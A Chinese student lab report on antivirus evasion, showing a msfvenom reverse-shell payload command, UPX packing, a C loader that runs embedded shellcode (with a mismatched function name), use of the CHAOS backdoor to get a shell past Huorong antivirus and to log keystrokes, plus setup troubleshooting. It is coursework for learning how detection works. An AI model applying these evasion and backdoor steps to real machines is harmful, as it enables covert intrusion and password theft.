• Exp3 免杀原理与实践


    实验过程

    正确使用msf编码器

    这里我们使用实验二生成的两个后门exe文件做检测。

    可以发现,由于实验2中是直接用shellcode代码生成的exe文件,没有做免杀处理,所以基于特征库的检测就能检测出来。

    msfvenom生成如jar之类的其他文件

    用命令生成jar文件

    msfvenom -p java/meterpreter/reverse_tcp LHOST=172.26.1.156 LPORT=9999 W >text.jar
    

    veil

    操作步骤与msf类似,输入反弹连接ip与端口生成文件即可。

    果不其然将后门文件移到共享文件夹时就被查杀了。

    加壳工具

    使用命令对后门加壳

    upx backdoor.exe -o upxed.exe
    

    一样是移入共享文件夹时被查杀。

    使用C + shellcode编程

    编写C代码

    #include <windows.h>
    #include <stdio.h>
     
    //data段可读写
    #pragma comment(linker, "/section:.data,RWE") 
    
     
     unsigned char shellcode[] =
    "xd9xebx9bxd9x74x24xf4x31xd2xb2x77x31xc9x64x8b"
    "x71x30x8bx76x0cx8bx76x1cx8bx46x08x8bx7ex20x8b"
    "x36x38x4fx18x75xf3x59x01xd1xffxe1x60x8bx6cx24"
    "x24x8bx45x3cx8bx54x28x78x01xeax8bx4ax18x8bx5a"
    "x20x01xebxe3x34x49x8bx34x8bx01xeex31xffx31xc0"
    "xfcxacx84xc0x74x07xc1xcfx0dx01xc7xebxf4x3bx7c"
    "x24x28x75xe1x8bx5ax24x01xebx66x8bx0cx4bx8bx5a"
    "x1cx01xebx8bx04x8bx01xe8x89x44x24x1cx61xc3xb2"
    "x08x29xd4x89xe5x89xc2x68x8ex4ex0execx52xe8x9f"
    "xffxffxffx89x45x04xbbx7exd8xe2x73x87x1cx24x52"
    "xe8x8exffxffxffx89x45x08x68x6cx6cx20x41x68x33"
    "x32x2ex64x68x75x73x65x72x88x5cx24x0ax89xe6x56"
    "xffx55x04x89xc2x50xbbxa8xa2x4dxbcx87x1cx24x52"
    "xe8x61xffxffxffx68x6fx78x58x20x68x61x67x65x42"
    "x68x4dx65x73x73x31xdbx88x5cx24x0ax89xe3x68x58"
    "x20x20x20x68x4dx53x46x21x68x72x6fx6dx20x68x6f"
    "x2cx20x66x68x48x65x6cx6cx31xc9x88x4cx24x10x89"
    "xe1x31xd2x52x53x51x52xffxd0x31xc0x50xffx55x08";
     
    typedef void (__stdcall *CODE) ();
     
    void RunShellCode_2()
    {
    	((void(*)(void))&shellcode)();
    }
     
    
    void main()
    {
    	RunShellCode();
    
    }
    

    在kali中编译

    i686-w64-mingw32-g++ shellcode.c  -o shellcode.exe
    

    最基础的shellcode利用方式还是达不到免杀的效果。

    使用其他课堂未介绍方法

    这里我用的是CHAOS,CHAOS是一款用go语言编写的非常简单实用的后门生成和监听工具。
    后门的生成也与msf类似

    可以看到我们的后门文件已经成功生成。

    通过组合应用各种技术实现恶意代码免杀

    • 目标机OS:win10
    • AV:火绒5.0.41.4

    这里我使用的是CHAOS生成的后门程序,根据CHAOS介绍,它生成的后门程序自动用UPX加壳,并且能过够绕过沙箱和杀软。

    可以看到已经成功拿shell,而且火绒跟windows安全日志都没有拦截记录。

    接下来我们试试控制主机完成一些操作。
    控制主机打开百度

    读取键盘输入的信息(如当键入用户名和密码时)

    还有很多操作就不一一演示。

    遇到的问题

    1、apt 软件缺失,无法安装。

    问题产生的原因应该是安装 kali 的时候没有安装网络镜像,导致除了 kali 镜像内的软件其他软件都不在 apt 列表中。在 kali 官网找到解决问题的办法。
    运行命令给 kali 换上源,注意最好用以下官方源

    echo "deb http://http.kali.org/kali kali-rolling main non-free contrib" | sudo tee /etc/apt/sources.list
    

    如果用国内源(阿里、清华等),请确保使用的源与 kali 的版本相符。可以使用命令查询 kali 版本

    lsb_release -a
    

    注意选用源版本与红框内容一致,不然更新的时候会因为没有对应的 release 文件而报错。
    换源完成后,运行命令即可正常更新下载文件。

    apt update
    

    2、veil 安装时 clone 依赖的问题

    veil 的依赖的 github 仓库 clone 特别慢,以至于 clone 过程中因各种网络原因报错。挂上梯子也无法解决问题,那就只好换仓库了。
    编辑 veil 的配置脚本 setup.sh ,以我的 kali 为例,这个脚本在如下目录中

    找到脚本的 251 行

    原来这里 clone 的是 github 上的仓库,码云上也有 veil 依赖对应的仓库,根据我的对比它们是一样的(如果你发现你脚本中 clone 的仓库与码云上的不一致,那么你可以先将 github 对应的仓库导入自己的码云,然后再 clone )。这里我已经完成了仓库的替换,码云仓库地址

    https://gitee.com/spears/VeilDependencies
    

    3、运行msf报错


    这个应该是gem更新后,bunlder版本过低所致。
    我们查看所需的bunlder版本。

    cat /usr/share/metasploit-framework/Gemfile.lock | grep -A 1 "BUNDLED"
    

    安装对应的版本。

    gem update --system
    gem install bundler -v 2.1.4
    

    重新启动msf即可。

    4、后门程序运行后无法反弹shell

    测试发现虚拟机可以ping通主机,主机无法ping通虚拟机,原因是主机和虚拟机不再同一网段,将虚拟机的nat模式改为桥接即可。

    问题回答

    (1)杀软是如何检测出恶意代码的?
    答:基于特征库检测,对文件代码与特征库进行对比,如果特征库有相似代码,及判为恶意代码。
    (2)免杀是做什么?
    答:免杀就是在不影响恶意代码循行的情况下对代码进行变换等操作,使其能够绕过基于特征库的检测。
    (3)免杀的基本方法有哪些?
    答:加壳,多次编码,对代码进行加密,对代码进行混淆。
    开启杀软能绝对防止电脑中恶意代码吗?
    答:我记得有句名言是“一个程序的漏洞比代码还要多”,所以杀软的特征库是有局限于当前的被发现被公开的漏洞及利用技术上,对于一些新型技术与漏洞就无法做出防御。

    参考

    C语言执行shellcode的五种方法

  • 相关阅读:
    java一个字符串中出现次数最多的字符以及次数
    按要求分解字符串,输入两个数M,N;M代表输入的M串字符串,N代表输出的每串字符串的位数,不够补0。例如:输入2,8, “abc” ,“123456789”,则输出为“abc00000”,“12345678“,”90000000”
    Java 替换空格
    Java中equals()和“==”区别
    ramfs和tmpfs的区别
    C语言中的nan和inf使用
    Abp中SwaggerUI的多个接口文档配置说明
    Abp中SwaggerUI的接口说明文档配置
    Abp中SwaggerUI的接口文档添加上传文件参数类型
    Abp中自定义Exception的HttpStatusCode
  • 原文地址:https://www.cnblogs.com/luoleqi/p/12562805.html
Copyright © 2020-2023  润新知